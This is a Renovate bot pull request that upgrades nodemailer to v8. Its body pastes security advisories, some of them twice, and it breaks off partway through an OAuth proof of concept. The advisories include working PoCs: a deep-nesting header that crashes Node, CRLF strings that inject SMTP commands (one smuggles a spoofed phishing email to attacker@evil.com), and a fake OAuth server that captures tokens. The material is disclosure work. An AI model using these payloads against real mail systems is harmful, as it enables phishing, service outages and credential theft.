Skip to content

fix(deps): update dependency nodemailer to v8 [security]#2660

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v8 [security]#2660
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 7, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^6.9.2^8.0.0 age confidence

Review

  • Updates have been tested and work
  • If updates are AWS related, versions match the infrastructure (e.g. Lambda runtime, database, etc.)

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

CVE-2025-13033 / GHSA-mm7p-fcc7-pg87

More information

Details

The email parsing library incorrectly handles quoted local-parts containing @​. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@​internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Image
Impact:
  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations
  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @​ unless fully compliant with quoting.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

CVE-2025-14874 / GHSA-rcmh-qjqh-p98v

More information

Details

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

GHSA-vvjj-xcjg-gr5g

More information

Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC
const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Severity

  • CVSS Score: 4.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

CVE-2025-13033 / GHSA-mm7p-fcc7-pg87

More information

Details

The email parsing library incorrectly handles quoted local-parts containing @​. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@&#8203;internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Image
Impact:
  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations
  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @​ unless fully compliant with quoting.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

CVE-2025-14874 / GHSA-rcmh-qjqh-p98v

More information

Details

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

GHSA-vvjj-xcjg-gr5g

More information

Details

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC
const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Severity

  • CVSS Score: 4.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

GHSA-r7g4-qg5f-qqm2

More information

Details

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport

XOAuth2 token generation

Internal HTTPS fetch client

HTTPS request with rejectUnauthorized:false

Attacker-controlled/self-signed endpoint trusted

OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
